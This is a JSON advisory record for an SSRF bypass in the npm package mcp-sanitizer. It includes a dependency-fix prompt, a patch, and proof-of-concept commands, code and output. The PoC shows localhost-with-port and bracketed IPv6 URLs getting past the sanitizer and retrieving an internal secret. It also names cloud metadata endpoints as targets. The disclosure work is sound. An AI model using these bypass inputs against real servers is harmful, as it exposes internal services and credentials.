{"answers":{"affected":"2 open source packages ship an affected version, including mcp-sanitizer.","exploited":"There is no known exploitation of GHSA-4mfg-r38w-w8fg in the wild and no public exploit code.","fix":"Upgrade mcp-sanitizer to 1.4.0 or later.","what":"GHSA-4mfg-r38w-w8fg is a vulnerability in mcp-sanitizer, published on 28 Oct 2026."},"fix_prompt":"Check this codebase for GHSA-4mfg-r38w-w8fg and fix it if it is affected.\n\nWhat it is: GHSA-4mfg-r38w-w8fg is a vulnerability in mcp-sanitizer, published on 28 Oct 2026. \nExploitation: There is no known exploitation of GHSA-4mfg-r38w-w8fg in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- mcp-sanitizer (npm): affected all versions; fixed in 1.4.0\n- mcp-sanitizer (npm): affected all versions; fixed in 1.4.0\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-4mfg-r38w-w8fg/ (Markdown: https://insights.sbomify.com/GHSA-4mfg-r38w-w8fg/index.md)","id":"GHSA-4mfg-r38w-w8fg","markdown":"https://insights.sbomify.com/GHSA-4mfg-r38w-w8fg/index.md","name":"GHSA-4mfg-r38w-w8fg","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6\n\n### Summary\n\n`mcp-sanitizer` v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a `localhost` URL includes an explicit port (e.g., `http://localhost:8080/`) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., `http://[::1]:8080/`, `http://[fe80::1]:8080/`). Because the library is explicitly designed to gate MCP tool parameters such as `web_fetch` and `web_scraper` before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.\n\n### Details\n\nThe vulnerability exists in `src/utils/validation-utils.js` inside the `validateURLLocation()` function that is called by `_secureSanitizeURL()` in `src/sanitizer/mcp-sanitizer.js:698`.\n\n**Bug 1 — Port-guarded localhost check (line 274–276):**\n\n```js\n// src/utils/validation-utils.js:274-276\nif ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') \u0026\u0026 !parsedUrl.port) {\n  throw new Error('URL points to localhost without explicit port');\n}\n```\n\nThe `\u0026\u0026 !parsedUrl.port` guard means that any localhost URL that includes a port number is *not* thrown. `http://localhost:8080/` passes the check entirely, returning `blocked: false` with the original URL preserved.\n\n**Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):**\n\n```js\n// src/utils/validation-utils.js:293-295\nif (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {\n  throw new Error(`URL points to link-local address: ${hostname}`);\n}\n```\n\nThe Node.js `URL` API returns `parsedUrl.hostname` for IPv6 addresses *with* surrounding brackets: `[::1]`, `[fe80::1]`. The string comparison `hostname === '::1'` (line 274) and `hostname.startsWith('fe80:')` (line 293) therefore never match, because the actual string starts with `[`.\n\n**Data flow through the middleware:**\n\n1. `src/middleware/express.js:499` — tool name derived from `req.params.toolName || req.body?.tool_name`.\n2. `src/middleware/express.js:548-554` — `web_scraper`/`web_fetch` `params.url` forwarded to `sanitizer.sanitize(url, { type: 'url' })`.\n3. `src/sanitizer/mcp-sanitizer.js:527-528` — context type `url` routes to `_secureSanitizeURL()`.\n4. `src/sanitizer/mcp-sanitizer.js:698-700` — `validateURLLocation(parsedUrl)` called; on success, `parsedUrl.toString()` returned to caller as the sanitized, trusted URL.\n\nBoth bugs are in the default code path; no special configuration is required to trigger them.\n\n**Suggested patch:**\n\n```diff\n--- a/src/utils/validation-utils.js\n+++ b/src/utils/validation-utils.js\n@@ const { URL } = require('url');\n+const net = require('net');\n@@ \n-  const hostname = parsedUrl.hostname.toLowerCase();\n+  const hostname = parsedUrl.hostname.toLowerCase().replace(/^\\[|\\]$/g, '').replace(/\\.$/, '');\n@@ \n-  if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') \u0026\u0026 !parsedUrl.port) {\n-    throw new Error('URL points to localhost without explicit port');\n+  if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') {\n+    throw new Error('URL points to localhost or loopback');\n   }\n@@ \n-  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {\n+  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') ||\n+      hostname.startsWith('fc') || hostname.startsWith('fd')) {\n     throw new Error(`URL points to link-local address: ${hostname}`);\n   }\n+\n+  if (net.isIP(hostname) === 6 \u0026\u0026 (hostname === '::1' || hostname.startsWith('fe80:'))) {\n+    throw new Error(`URL points to restricted IPv6 address: ${hostname}`);\n+  }\n```\n\n### PoC\n\n**Prerequisites:** Docker installed; no other dependencies required.\n\n**1. Build the Docker image:**\n\n```bash\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  -t vuln-001-mcp-sanitizer \\\n  reports/npmAI_754_starman69__mcp-sanitizer\n```\n\n**2. Run the PoC:**\n\n```bash\ndocker run --rm vuln-001-mcp-sanitizer\n```\n\nThe `poc.py` script inside the image:\n- Starts a mock internal HTTP service on `127.0.0.1:8080` serving the string `INTERNAL_SECRET_DATA_9f3a2b1c`.\n- Calls `sanitizer.sanitize(url, { type: 'url' })` via Node.js for five URLs (two expected-blocked, three bypass candidates).\n- Performs an actual `GET http://localhost:8080/` using the sanitizer-approved URL and confirms the secret is returned.\n\n**Expected output (abbreviated):**\n\n```\n[BYPASS_CONFIRMED] http://localhost:8080/  blocked=False  sanitized=http://localhost:8080/\n[BYPASS_CONFIRMED] http://[::1]:8080/     blocked=False  sanitized=http://[::1]:8080/\n[BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False  sanitized=http://[fe80::1]:8080/\n[SSRF HTTP 200] GET http://localhost:8080/ =\u003e 'INTERNAL_SECRET_DATA_9f3a2b1c\\npath=/'\n[!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c\nRESULT: PASS - SSRF bypass fully demonstrated end-to-end\n```\n\nBaseline controls confirm the library *does* block `http://localhost/` and `http://127.0.0.1/` (`blocked: true`), proving the bypasses are not a general failure but a precise gap in the validation logic.\n\n**Minimal inline repro (no Docker):**\n\n```bash\n# Inside the mcp-sanitizer repository root (npm ci first)\nnode - \u003c\u003c'NODE'\nconst MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');\nconst sanitizer = new MCPSanitizer();\nfor (const url of [\n  'http://localhost:8080/',\n  'http://[::1]:8080/',\n  'http://[fe80::1]:8080/'\n]) {\n  const r = sanitizer.sanitize(url, { type: 'url' });\n  console.log(url, '=\u003e blocked=', r.blocked, 'sanitized=', r.sanitized);\n}\nNODE\n```\n\n### Impact\n\nThis is a **Server-Side Request Forgery (SSRF)** vulnerability. Any application that:\n\n1. Uses `mcp-sanitizer`'s `sanitize()` / `createMCPToolMiddleware()` as the security boundary for outbound URLs, **and**\n2. Passes the returned sanitized URL to an HTTP client (the library's documented intended use for `web_fetch`/`web_scraper` MCP tools),\n\nis exploitable by any party that can supply the `url` parameter — typically an unauthenticated network attacker in an MCP server deployment.\n\n**Consequences:**\n- **Confidentiality (High):** The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g., `http://169.254.169.254/`), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration.\n- **Integrity (Low):** If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP.\n- **Availability:** Not directly impacted.\n\nThe vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:18-alpine\n\n# Install Python3 for the PoC script\nRUN apk add --no-cache python3\n\nWORKDIR /app\n\n# Copy package files first for better layer caching\nCOPY repo/package.json repo/package-lock.json ./\n\n# Install Node.js dependencies (clean install, no dev deps)\nRUN npm ci --ignore-scripts --omit=dev\n\n# Copy library source\nCOPY repo/src ./src/\n\n# Copy PoC script\nCOPY vuln-001/poc.py ./poc.py\n\n# Run the PoC by default\nCMD [\"python3\", \"poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation\nLibrary: mcp-sanitizer v1.3.3 (commit caff5d6)\nCWE-918: Server-Side Request Forgery\nCVSS 3.1: 8.2 (High)\n\nRoot cause:\n  src/utils/validation-utils.js:274:\n    if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') \u0026\u0026 !parsedUrl.port)\n  - The \"\u0026\u0026 !parsedUrl.port\" guard means any localhost URL WITH a port bypasses the block.\n  - Node.js URL API returns hostname as \"[::1]\" / \"[fe80::1]\" (with brackets) for IPv6,\n    so the string equality check against \"::1\" and startsWith(\"fe80:\") both silently fail.\n\nAttack scenario:\n  1. Attacker controls the \"url\" parameter of a web_fetch / web_scraper MCP tool call.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6","id":"GHSA-4mfg-r38w-w8fg","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["1.4.0"],"introduced":["0"],"last_affected":[],"package":"mcp-sanitizer","purl":null,"source":"GHSA-4mfg-r38w-w8fg"},{"ecosystem":"npm","fixed":["1.4.0"],"introduced":["0"],"last_affected":[],"package":"mcp-sanitizer","purl":"pkg:npm/mcp-sanitizer","source":"GHSA-4mfg-r38w-w8fg"}],"products":null,"published":"2026-10-28","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/GHSA-4mfg-r38w-w8fg/"}